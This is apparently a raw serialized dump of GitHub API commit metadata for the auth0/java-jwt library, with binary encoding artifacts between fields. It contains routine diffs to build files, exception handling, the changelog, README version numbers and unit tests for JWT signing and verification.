@@ -99,7 +99,8 @@ task compileModuleInfoJava(type: JavaCompile) {
 }
 
 compileTestJava {
-    options.compilerArgs = ['--release', "8", "-Xlint:deprecation"]
+    options.release = 8
+    options.compilerArgs = ["-Xlint:deprecation"]
 }
 
 def testJava8 = tasks.register('testJava8', Test) {ueu(298d52268b1fff55106767870010152291d3500a}(sha(298d52268b1fff55106767870010152291d3500anode_idEC_kwDOAQtL0doAKDI5OGQ1MjI2OGIxZmZmNTUxMDY3Njc4NzAwMTAxNTIyOTFkMzUwMGEcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-07T23:04:15Zu	committer}(jGE  GitHubjIE  noreply@github.comjKE  2022-10-07T23:04:15ZumessageReturn new JWTDecodeException

Return a new JWTDecodeException from private utility method `wrongNumberOfParts`, instead of throwing, since we throw from `splitToken()`.tree}(j?E  (2e605fc719397fdf8ed129814ae4028ef9180c1furl^https://api.github.com/repos/auth0/java-jwt/git/trees/2e605fc719397fdf8ed129814ae4028ef9180c1fujWE  `https://api.github.com/repos/auth0/java-jwt/git/commits/298d52268b1fff55106767870010152291d3500a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjQLBvCRBK7hj4Ov3rIwAA1gkIAHk3dadyszEhsd5COznu4ZBk
/2PVZi4hRJDG6IJ3qOajraakE/LGYh7O2OgxCUh3XK1zgFzKtuDJ+HBxRb4vq1qT
mq2m6qqDxP0qCkA8dghWGP2Hr17TThgcjRLEGt3KRbJ4B6P/is7DXPKvF0vqIEg4
Bhq+PZEUff0l2l594XzD4yotajskCg8VmSGwqUpS7wN4TMARnjIAnKNH6v7nLo+p
0S/h++z3U7TsOJnrVZ60Eg0pR9cylbiO6BqWwn4dFdn1WAcz9flffSM6R2DFC0WO
3e4jNSBv2LKFlqHQyRX+p1szY5lElqy6ERO0T2W7Sfdz+hlDBMZf9s6VpxatFtM=
=enbT
-----END PGP SIGNATURE-----
payloadX}  tree 2e605fc719397fdf8ed129814ae4028ef9180c1f
parent 8c24018f7606a7452e98624e21176739d092dc4c
author Jim Anderson <jimranderson@gmail.com> 1665183855 -0500
committer GitHub <noreply@github.com> 1665183855 -0500

Return new JWTDecodeException

Return a new JWTDecodeException from private utility method `wrongNumberOfParts`, instead of throwing, since we throw from `splitToken()`.uujWE  \https://api.github.com/repos/auth0/java-jwt/commits/298d52268b1fff55106767870010152291d3500ahtml_urlQhttps://github.com/auth0/java-jwt/commit/298d52268b1fff55106767870010152291d3500acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/298d52268b1fff55106767870010152291d3500a/commentsjEE  }(login
jimmyjamesidJ7 jAE  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jWE  'https://api.github.com/users/jimmyjamesjeE  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujME  }(jjE  web-flowjlE  J/jAE  MDQ6VXNlcjE5ODY0NDQ3jnE  4https://avatars.githubusercontent.com/u/19864447?v=4jpE  h3jWE  %https://api.github.com/users/web-flowjeE  https://github.com/web-flowjsE  /https://api.github.com/users/web-flow/followersjuE  <https://api.github.com/users/web-flow/following{/other_user}jwE  5https://api.github.com/users/web-flow/gists{/gist_id}jyE  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j{E  3https://api.github.com/users/web-flow/subscriptionsj}E  *https://api.github.com/users/web-flow/orgsjE  +https://api.github.com/users/web-flow/reposjE  6https://api.github.com/users/web-flow/events{/privacy}jE  5https://api.github.com/users/web-flow/received_eventsjE  UserjE  uparents]}(j?E  (8c24018f7606a7452e98624e21176739d092dc4cjWE  \https://api.github.com/repos/auth0/java-jwt/commits/8c24018f7606a7452e98624e21176739d092dc4cjeE  Qhttps://github.com/auth0/java-jwt/commit/8c24018f7606a7452e98624e21176739d092dc4cuastats}(totalK	additionsK	deletionsKufiles]}(j?E  (e62b9832c8eb3b33648ac87431f7f9ac95f2e67bfilename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedjE  KjE  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/298d52268b1fff55106767870010152291d3500a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaraw_urlhttps://github.com/auth0/java-jwt/raw/298d52268b1fff55106767870010152291d3500a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=298d52268b1fff55106767870010152291d3500apatchX  @@ -42,6 +42,6 @@ static String[] splitToken(String token) throws JWTDecodeException {
     }
 
     private static JWTDecodeException wrongNumberOfParts(Object partCount) {
-        throw new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", partCount));
+        return new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", partCount));
     }
 }uau(6a666b0c822d8a453405e67f702c0b326d2d8a5c}(sha(6a666b0c822d8a453405e67f702c0b326d2d8a5cnode_idEC_kwDOAQtL0doAKDZhNjY2YjBjODIyZDhhNDUzNDA1ZTY3ZjcwMmMwYjMyNmQyZDhhNWMcommit}(author}(namefrederikprijckemailfrederik.prijck@auth0.comdate2022-10-11T10:05:04Zu	committer}(jE  frederikprijckjE  frederik.prijck@auth0.comjE  2022-10-11T10:05:04Zumessageupdate build.gradle filetree}(jE  (d6adb4c863b99cef1f0eaab2b90880e2f3442c7curl^https://api.github.com/repos/auth0/java-jwt/git/trees/d6adb4c863b99cef1f0eaab2b90880e2f3442c7cujE  `https://api.github.com/repos/auth0/java-jwt/git/commits/6a666b0c822d8a453405e67f702c0b326d2d8a5c
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujE  \https://api.github.com/repos/auth0/java-jwt/commits/6a666b0c822d8a453405e67f702c0b326d2d8a5chtml_urlQhttps://github.com/auth0/java-jwt/commit/6a666b0c822d8a453405e67f702c0b326d2d8a5ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6a666b0c822d8a453405e67f702c0b326d2d8a5c/commentsjE  }(loginfrederikprijckidJW  jE  MDQ6VXNlcjIxNDY5MDM=
avatar_url3https://avatars.githubusercontent.com/u/2146903?v=4gravatar_idh3jE  +https://api.github.com/users/frederikprijckjE  !https://github.com/frederikprijck
followers_url5https://api.github.com/users/frederikprijck/followers
following_urlBhttps://api.github.com/users/frederikprijck/following{/other_user}	gists_url;https://api.github.com/users/frederikprijck/gists{/gist_id}starred_urlBhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/frederikprijck/subscriptionsorganizations_url0https://api.github.com/users/frederikprijck/orgs	repos_url1https://api.github.com/users/frederikprijck/repos
events_url<https://api.github.com/users/frederikprijck/events{/privacy}received_events_url;https://api.github.com/users/frederikprijck/received_eventstypeUser
site_adminujE  }(jE  frederikprijckjE  JW  jE  MDQ6VXNlcjIxNDY5MDM=jE  3https://avatars.githubusercontent.com/u/2146903?v=4jE  h3jE  +https://api.github.com/users/frederikprijckjE  !https://github.com/frederikprijckjE  5https://api.github.com/users/frederikprijck/followersjE  Bhttps://api.github.com/users/frederikprijck/following{/other_user}jE  ;https://api.github.com/users/frederikprijck/gists{/gist_id}jE  Bhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}jE  9https://api.github.com/users/frederikprijck/subscriptionsjE  0https://api.github.com/users/frederikprijck/orgsjE  1https://api.github.com/users/frederikprijck/reposjE  <https://api.github.com/users/frederikprijck/events{/privacy}jE  ;https://api.github.com/users/frederikprijck/received_eventsjE  UserjE  uparents]}(jE  (bd9c8133025c9da93ce7d5f8885fea43b75c2421jE  \https://api.github.com/repos/auth0/java-jwt/commits/bd9c8133025c9da93ce7d5f8885fea43b75c2421jE  Qhttps://github.com/auth0/java-jwt/commit/bd9c8133025c9da93ce7d5f8885fea43b75c2421uastats}(totalK	additionsK	deletionsKufiles]}(jE  (d7951ff35764a32dc3dc488a9b478381966fc30efilenamelib/build.gradlestatusmodifiedjF  KjF  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/6a666b0c822d8a453405e67f702c0b326d2d8a5c/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/6a666b0c822d8a453405e67f702c0b326d2d8a5c/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=6a666b0c822d8a453405e67f702c0b326d2d8a5cpatchX<  @@ -9,8 +9,8 @@ plugins {
     id 'checkstyle'
 }
 
-def signingKey = findProperty('SIGNING_KEY')
-def signingKeyPwd = findProperty('SIGNING_PASSWORD')
+def signingKey = findProperty('signingKey')
+def signingKeyPwd = findProperty('signingPassword')
 
 signing {
     useInMemoryPgpKeys(signingKey, signingKeyPwd)
@@ -29,6 +29,7 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "4.0.0"
+    skipAssertSigningConfiguration true
 
     developers {
         auth0 {
@@ -66,6 +67,7 @@ javadoc {
 dependencies {
     implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
 
+
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'
     testImplementation 'net.jodah:concurrentunit:0.4.6'uau(3e18efd70964cfb0ae3f2a834939f87d9fe20840}(sha(3e18efd70964cfb0ae3f2a834939f87d9fe20840node_idEC_kwDOAQtL0doAKDNlMThlZmQ3MDk2NGNmYjBhZTNmMmE4MzQ5MzlmODdkOWZlMjA4NDAcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-02-10T18:03:47Zu	committer}(j3F  Jim Andersonj5F  jimranderson@gmail.comj7F  2023-02-10T18:03:47Zumessage
Release 4.3.0tree}(j+F  (0994052201f12aefb56cac785872a5bee750331curl^https://api.github.com/repos/auth0/java-jwt/git/trees/0994052201f12aefb56cac785872a5bee750331cujCF  `https://api.github.com/repos/auth0/java-jwt/git/commits/3e18efd70964cfb0ae3f2a834939f87d9fe20840
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujCF  \https://api.github.com/repos/auth0/java-jwt/commits/3e18efd70964cfb0ae3f2a834939f87d9fe20840html_urlQhttps://github.com/auth0/java-jwt/commit/3e18efd70964cfb0ae3f2a834939f87d9fe20840comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3e18efd70964cfb0ae3f2a834939f87d9fe20840/commentsj1F  }(login
jimmyjamesidJ7 j-F  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jCF  'https://api.github.com/users/jimmyjamesjOF  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj9F  }(jTF  
jimmyjamesjVF  J7 j-F  MDQ6VXNlcjI3NjIyNQ==jXF  2https://avatars.githubusercontent.com/u/276225?v=4jZF  h3jCF  'https://api.github.com/users/jimmyjamesjOF  https://github.com/jimmyjamesj]F  1https://api.github.com/users/jimmyjames/followersj_F  >https://api.github.com/users/jimmyjames/following{/other_user}jaF  7https://api.github.com/users/jimmyjames/gists{/gist_id}jcF  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jeF  5https://api.github.com/users/jimmyjames/subscriptionsjgF  ,https://api.github.com/users/jimmyjames/orgsjiF  -https://api.github.com/users/jimmyjames/reposjkF  8https://api.github.com/users/jimmyjames/events{/privacy}jmF  7https://api.github.com/users/jimmyjames/received_eventsjoF  UserjqF  uparents]}(j+F  (902431804ee68a0e4727f41397cd56608918ba37jCF  \https://api.github.com/repos/auth0/java-jwt/commits/902431804ee68a0e4727f41397cd56608918ba37jOF  Qhttps://github.com/auth0/java-jwt/commit/902431804ee68a0e4727f41397cd56608918ba37uastats}(totalK	additionsK	deletionsKufiles](}(j+F  (61ebad87040c6682ae055e16c8d7b875c105ec72filenameCHANGELOG.mdstatusmodifiedjF  K
jF  K changesK
blob_url\https://github.com/auth0/java-jwt/blob/3e18efd70964cfb0ae3f2a834939f87d9fe20840/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/3e18efd70964cfb0ae3f2a834939f87d9fe20840/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=3e18efd70964cfb0ae3f2a834939f87d9fe20840patchX  @@ -1,5 +1,15 @@
 # Change Log
 
+## [4.3.0](https://github.com/auth0/java-jwt/tree/4.3.0) (2023-02-10)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.2...4.3.0)
+
+**Changed**
+- Improve JWT parse/decode performance [\#620](https://github.com/auth0/java-jwt/pull/620) ([noetro](https://github.com/noetro))
+
+**Fixed**
+- Fix for exp claim considered valid if equal to now [\#652](https://github.com/auth0/java-jwt/pull/652) ([jimmyjames](https://github.com/jimmyjames))
+- Code cleanup [\#642](https://github.com/auth0/java-jwt/pull/642) ([CodeDead](https://github.com/CodeDead))
+
 ## [4.2.2](https://github.com/auth0/java-jwt/tree/4.2.2) (2023-01-11)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.1...4.2.2)
 u}(j+F  (9391f87dc0bc2548349e2109f028d15826135ff1jF  	README.mdjF  modifiedjF  KjF  KjF  KjF  Yhttps://github.com/auth0/java-jwt/blob/3e18efd70964cfb0ae3f2a834939f87d9fe20840/README.mdjF  Xhttps://github.com/auth0/java-jwt/raw/3e18efd70964cfb0ae3f2a834939f87d9fe20840/README.mdjF  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=3e18efd70964cfb0ae3f2a834939f87d9fe20840jF  XZ  @@ -50,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.2.2</version>
+  <version>4.3.0</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.2'
+implementation 'com.auth0:java-jwt:4.3.0'
 ```
 
 ### Create a JWTueu(52ccdddf99b3c10ccb46e91388aa2fb608bada69}(sha(52ccdddf99b3c10ccb46e91388aa2fb608bada69node_idEC_kwDOAQtL0doAKDUyY2NkZGRmOTliM2MxMGNjYjQ2ZTkxMzg4YWEyZmI2MDhiYWRhNjkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-10T00:21:40Zu	committer}(jF  James AndersonjF  jim.anderson@auth0.comjF  2022-03-10T00:21:40Zumessage*add tests for null expected claim handlingtree}(jF  (05e4d74bfe023fa4ae2c7751b34798b58a05f5b7url^https://api.github.com/repos/auth0/java-jwt/git/trees/05e4d74bfe023fa4ae2c7751b34798b58a05f5b7ujF  `https://api.github.com/repos/auth0/java-jwt/git/commits/52ccdddf99b3c10ccb46e91388aa2fb608bada69
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujF  \https://api.github.com/repos/auth0/java-jwt/commits/52ccdddf99b3c10ccb46e91388aa2fb608bada69html_urlQhttps://github.com/auth0/java-jwt/commit/52ccdddf99b3c10ccb46e91388aa2fb608bada69comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/52ccdddf99b3c10ccb46e91388aa2fb608bada69/commentsjF  }(login
jimmyjamesidJ7 jF  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jF  'https://api.github.com/users/jimmyjamesjF  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujF  }(jF  
jimmyjamesjF  J7 jF  MDQ6VXNlcjI3NjIyNQ==jF  2https://avatars.githubusercontent.com/u/276225?v=4jF  h3jF  'https://api.github.com/users/jimmyjamesjF  https://github.com/jimmyjamesjF  1https://api.github.com/users/jimmyjames/followersjF  >https://api.github.com/users/jimmyjames/following{/other_user}jF  7https://api.github.com/users/jimmyjames/gists{/gist_id}jF  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jF  5https://api.github.com/users/jimmyjames/subscriptionsjF  ,https://api.github.com/users/jimmyjames/orgsjF  -https://api.github.com/users/jimmyjames/reposjF  8https://api.github.com/users/jimmyjames/events{/privacy}jF  7https://api.github.com/users/jimmyjames/received_eventsjF  UserjF  uparents]}(jF  (cca830c642004967c32644dba3220d8cf3730f43jF  \https://api.github.com/repos/auth0/java-jwt/commits/cca830c642004967c32644dba3220d8cf3730f43jF  Qhttps://github.com/auth0/java-jwt/commit/cca830c642004967c32644dba3220d8cf3730f43uastats}(totalK	additionsK	deletionsK ufiles]}(jF  (93a7bcd1ae395ea12c3db14ff51f22d9a726c91cfilename4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javastatusmodifiedjG  Kj	G  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/52ccdddf99b3c10ccb46e91388aa2fb608bada69/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/52ccdddf99b3c10ccb46e91388aa2fb608bada69/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=52ccdddf99b3c10ccb46e91388aa2fb608bada69patchX  @@ -526,6 +526,17 @@ public void shouldValidateCustomClaimOfTypeDate() {
         assertThat(jwt, is(notNullValue()));
     }
 
+    @Test
+    public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("name", new Date())
+                .withClaim("name", (Date) null)
+                .build();
+
+        assertThat(verifier.claims, is(notNullValue()));
+        assertThat(verifier.claims, not(hasKey("iss")));
+    }
+
     @Test
     public void shouldValidateCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";uau(4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5}(sha(4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5node_idEC_kwDOAQtL0doAKDRkY2ZlNGExOGQ3ZDczOGRkYjhkOGIxYWE3MDI1MmM4ZTdjYTIzZTUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-04T16:18:52Zu	committer}(j%G  
Poovamraj T Tj'G  poovamraj@gmail.comj)G  2022-03-04T16:18:52Zumessage5Removing ignore for tests and checking the CI failuretree}(jG  (b1c1d8117048b937abcc35660a7d99a95976110aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/b1c1d8117048b937abcc35660a7d99a95976110auj5G  `https://api.github.com/repos/auth0/java-jwt/git/commits/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj5G  \https://api.github.com/repos/auth0/java-jwt/commits/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5html_urlQhttps://github.com/auth0/java-jwt/commit/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/commentsj#G  }(login	poovamrajidJ jG  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j5G  &https://api.github.com/users/poovamrajjAG  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj+G  }(jFG  	poovamrajjHG  J jG  MDQ6VXNlcjE1OTEwNDI1jJG  4https://avatars.githubusercontent.com/u/15910425?v=4jLG  h3j5G  &https://api.github.com/users/poovamrajjAG  https://github.com/poovamrajjOG  0https://api.github.com/users/poovamraj/followersjQG  =https://api.github.com/users/poovamraj/following{/other_user}jSG  6https://api.github.com/users/poovamraj/gists{/gist_id}jUG  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jWG  4https://api.github.com/users/poovamraj/subscriptionsjYG  +https://api.github.com/users/poovamraj/orgsj[G  ,https://api.github.com/users/poovamraj/reposj]G  7https://api.github.com/users/poovamraj/events{/privacy}j_G  6https://api.github.com/users/poovamraj/received_eventsjaG  UserjcG  uparents]}(jG  (ee1265cbf9ed5ab2ecf478cebe75fbb347659c12j5G  \https://api.github.com/repos/auth0/java-jwt/commits/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12jAG  Qhttps://github.com/auth0/java-jwt/commit/ee1265cbf9ed5ab2ecf478cebe75fbb347659c12uastats}(totalK		additionsK 	deletionsK	ufiles](}(jG  (0f569fae04274e9805b627202ee88de8440c33c0filename9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javastatusmodifiedj}G  K j~G  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5patchXB  @@ -143,7 +143,6 @@ public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
     }
     
     @Test
-    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
         String token = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.eyJpc3MiOiJhdXRoMCJ9.W-AbsnuQ4vqmPftAyQuF09hn3oGn3tN7VGergxyMbK74yEzDV-mLyC3o3fxXrZxcW5h01DM6BckNag7ZcimPjw";
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");u}(jG  (8fae69efd30559646e2d48329b1af9fb35f847e1jG  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajG  modifiedj}G  K j~G  KjG  KjG  https://github.com/auth0/java-jwt/blob/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajG  https://github.com/auth0/java-jwt/raw/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajG  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5jG  X  @@ -159,7 +159,6 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
     }
 
     @Test
-    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
@@ -176,7 +175,6 @@ public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
     }
 
     @Test
-    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);u}(jG  (ddca329ddc17c5390a0eb338453379b158ca5cbbjG  ,lib/src/test/java/com/auth0/jwt/JWTTest.javajG  modifiedj}G  K j~G  KjG  KjG  https://github.com/auth0/java-jwt/blob/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajG  https://github.com/auth0/java-jwt/raw/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajG  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5jG  X  @@ -499,7 +499,6 @@ public void shouldCreateAnEmptyECDSA256SignedToken() throws Exception {
     }
 
     @Test
-    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldCreateAnEmptyECDSA256KSignedToken() throws Exception {
         ECPublicKey publicKey = (ECPublicKey) PemUtils.readPublicKeyFromFile(PUBLIC_KEY_FILE_EC_256K, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");u}(jG  (30a3efaf16108a5fecfa9cf6305770cf2b3bce66jG  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajG  modifiedj}G  K j~G  KjG  KjG  https://github.com/auth0/java-jwt/blob/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajG  https://github.com/auth0/java-jwt/raw/4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajG  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=4dcfe4a18d7d738ddb8d8b1aa70252c8e7ca23e5jG  X+  @@ -189,7 +189,6 @@ public void shouldFailECDSA256VerificationOnInvalidDERSignature() throws Excepti
     }
     
     @Test
-    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
         ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
         Algorithm algorithm = Algorithm.ECDSA256K(key, null);
@@ -211,15 +210,13 @@ public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exceptio
     }
     
     @Test
-    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
         Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
                 , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
         algorithm.verify(JWT.decode(ES256K_JWT));
     }
     
     @Test
-    @Ignore //todo: handle ecdsa curve secp256k1 disabled in Java 15+
     public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
